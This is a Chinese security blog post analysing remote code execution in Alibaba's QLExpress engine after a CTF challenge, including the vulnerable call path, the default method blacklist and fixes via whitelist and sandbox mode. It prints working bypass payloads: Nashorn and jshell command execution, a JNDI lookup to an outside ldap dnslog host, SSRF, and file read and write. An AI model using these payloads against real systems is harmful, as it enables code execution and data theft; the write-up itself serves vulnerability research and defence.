查看原文
其他

原创 | 从一道CTF题浅谈QLExpress的那些事

tkswifty SecIN技术平台 2024-05-25

点击蓝字




关注我们



前言


前段时间看了一道CTF题目babyQL。

  传送门:https://mp.weixin.qq.com/s/kACnYYwJWycT53BxrWjoxQ

  从wp里看大概意思是QLExpress(仓库地址:https://github.com/alibaba/QLExpress)存在代码执行风险。


这里简单介绍下:

  QLExpress脚本引擎被广泛应用在阿里的电商业务场景,具有以下的一些特性:

  • 1、线程安全,引擎运算过程中的产生的临时变量都是threadlocal类型。

  • 2、高效执行,比较耗时的脚本编译过程可以缓存在本地机器,运行时的临时变量创建采用了缓冲池的技术,和groovy性能相当。

  • 3、弱类型脚本语言,和groovy,javascript语法类似,虽然比强类型脚本语言要慢一些,但是使业务的灵活度大大增强。

  • 4、安全控制,可以通过设置相关运行参数,预防死循环、高危系统api调用等情况。

  • 5、代码精简,依赖最小,250k的jar包适合所有java的运行环境,在android系统的低端pos机也得到广泛运用。

  简单的看下具体漏洞的成因。


漏洞分析


expressRunner.execute下一个断点,简单的查看具体的利用过程

首先调用com.ql.util.express.ExpressRunner#execute方法:

往下继续执行,首先会先判断是否启用缓存,若不启用缓存则调用parseInstructionSet进行语义分析,判断是否为合法的java代码:
public Object execute(String expressString, IExpressContext<String, Object> context, List<String> errorList, boolean isCache, boolean isTrace, Log log) throws Exception { InstructionSet parseResult; if (isCache) { parseResult = (InstructionSet)this.expressInstructionSetCache.get(expressString); if (parseResult == null) { synchronized(this.expressInstructionSetCache) { parseResult = (InstructionSet)this.expressInstructionSetCache.get(expressString); if (parseResult == null) { parseResult = this.parseInstructionSet(expressString); this.expressInstructionSetCache.put(expressString, parseResult); } } } } else { parseResult = this.parseInstructionSet(expressString); }
return this.executeReentrant(parseResult, context, errorList, isTrace, log);    }

查看parseInstructionSet的具体实现,这里会将用户传来的text传入this.parse.parse()方法

public InstructionSet parseInstructionSet(String text) throws Exception { try { Map<String, String> selfDefineClass = new HashMap(); ExportItem[] var3 = this.loader.getExportInfo(); int var4 = var3.length;
for(int var5 = 0; var5 < var4; ++var5) { ExportItem item = var3[var5]; if (item.getType().equals("VClass")) { selfDefineClass.put(item.getName(), item.getName()); } }
ExpressNode root = this.parse.parse(this.rootExpressPackage, text, this.isTrace, selfDefineClass); InstructionSet result = this.createInstructionSet(root, "main"); if (this.isTrace && log.isDebugEnabled()) { log.debug(result); }
return result; } catch (QLCompileException var7) { throw var7; } catch (Exception var8) { throw new QLCompileException("编译异常:\n" + text, var8); }    }
继续跟进parse方法:

中间会进行一系列的词法分析:

最终在com.ql.util.express.InstructionSet#executeInnerOriginalInstruction()执行Java代码:

public void executeInnerOriginalInstruction(RunEnvironment environment, List<String> errorList, Log log) throws Exception { Instruction instruction = null;
try { while(environment.programPoint < this.instructionList.length) { QLExpressTimer.assertTimeOut(); instruction = this.instructionList[environment.programPoint]; instruction.setLog(log); instruction.execute(environment, errorList); }
} catch (Exception var6) { throw var6; }}


利用方式


QLExpress提供了自定义代码执行的功能com.ql.util.express.ExpressRunner#execute()

同时也提供了配置代码执行的黑/白名单/沙箱功能。


由于该功能非默认启用,需要手动配置,在未启用黑/白名单/沙箱情况下,若参数可控,则可以任意代码执行。

例如如下demo:

String code = "Runtime.getRuntime().exec(\"open -a calculator.app\");";expressRunner.execute(code, new DefaultContext<>(), null, false, true);

3.1 黑名单场景下的绕过

可以通过如下方式开启黑名单:
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);

查看具体的实现,默认提供了如下黑名单:

SECURITY_RISK_METHOD_LIST.add(System.class.getName() + ".exit");SECURITY_RISK_METHOD_LIST.add(Runtime.getRuntime().getClass().getName() + ".exec");SECURITY_RISK_METHOD_LIST.add(ProcessBuilder.class.getName() + ".start");SECURITY_RISK_METHOD_LIST.add(Method.class.getName() + ".invoke");SECURITY_RISK_METHOD_LIST.add(Class.class.getName() + ".forName");SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".loadClass");SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".findClass");SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".defineClass");SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".getSystemClassLoader");SECURITY_RISK_METHOD_LIST.add("javax.naming.InitialContext.lookup");SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setDataSourceName");SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setAutoCommit");

可以看到只是简单的限制了一些class,还是可以进行bypass的。下面是一些简单的思路:

3.1.1 RCE绕过方式

可以看到默认黑名单简单的禁用了Runtime和ProcessBuilder,实际上还有很多bypass的方法。这里举几个例子:

  • ScriptEngineManager绕过
String code  ="new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);\");";


  • jshell

     Java环境大于等于JDK9的话可以考虑使用jshell进行绕过:

jdk.jshell.JShell.create().eval('java.lang.Runtime.getRuntime().exec(\"open -a calculator.app\")')

3.1.2 JNDI注入

默认的黑名单中对JNDI的限制如下:

SECURITY_RISK_METHOD_LIST.add("javax.naming.InitialContext.lookup");

SpringBoot场景下其实可以基于org.springframework.jndi.JndiLocatorDelegate类进行绕过:

String code = "import org.springframework.jndi.JndiLocatorDelegate;\n" +                "JndiLocatorDelegate a = new JndiLocatorDelegate().lookup(\"ldap://tg9rbs.dnslog.cn:2333\");"

这里以dnslog进行验证,可以看到成功接收到了请求:

3.1.3 SSRF

默认黑名单里没有限制网络请求的相关class,可以考虑结合ssrf进行利用,例如如下demo:

String code = "import java.net.URL;" + "import java.net.URLConnection;" + "URLConnection url = new URL(\"http://n5gm6i.dnslog.cn\").openConnection();" + "resp = url.getResponseCode();" +                "resp;";

同样的结合dnslog验证,成功接收到请求:

3.1.4 任意文件读写
默认黑名单里没有限制读写,例如如下demo:
  • 任意文件读
String code = "import java.io.BufferedReader;\n" +"import java.io.FileReader;\n" +"FileReader f=new FileReader(\"/tmp/flag\");\n" +"BufferedReader a=new BufferedReader(f);\n" +"String str=a.readLine();\n" +"System.out.println(str);";
  • 任意文件写
String code = "import java.io.*;\n" +"BufferedWriter out = new BufferedWriter(new FileWriter(\"/tmp/test\"));\n" +"out.write(\"success\");\n" +"out.close();";
执行上述QLExpress表达式后可以看到成功写入文件:


修复方式


4.1 白名单

官方提供了白名单的方式,可以通过将预期类的方式加白,避免风险class加载,例如如下例子:

QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);QLExpressRunStrategy.addSecureMethod(Runtime.class, "getRuntime");

4.2 开启沙箱

从官方的文档可以看到具体沙箱的使用方法:

若业务不涉及动态执行自定义代码,则可以开启沙箱运行

在沙箱模式中,禁用了如下规则:

  • mport Java 类

  • 显式引用 Java 类,比如 String a = 'mmm'

  • 取 Java 类中的字段:a = new Integer(11); a.value

  • 调用 Java 类中的方法:Math.abs(12)
  脚本可以:
  • 使用 QLExpress 的自定义操作符/宏/函数,以此实现与应用的受控交互
  • 使用 . 操作符获取 Map 的 key 对应的 value,比如 a 在应用传入的表达式中是一个 Map,那么可以通过 a.b 获取
  • 所有不涉及应用 Java 类的操作

// 开启沙箱模式QLExpressRunStrategy.setSandBoxMode(true);

往期推荐



原创 | 文件上传漏洞总结

原创 | java反序列化从0到cc1

原创 | AspectJWeaver利用链绕过serialKiller


继续滑动看下一个
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存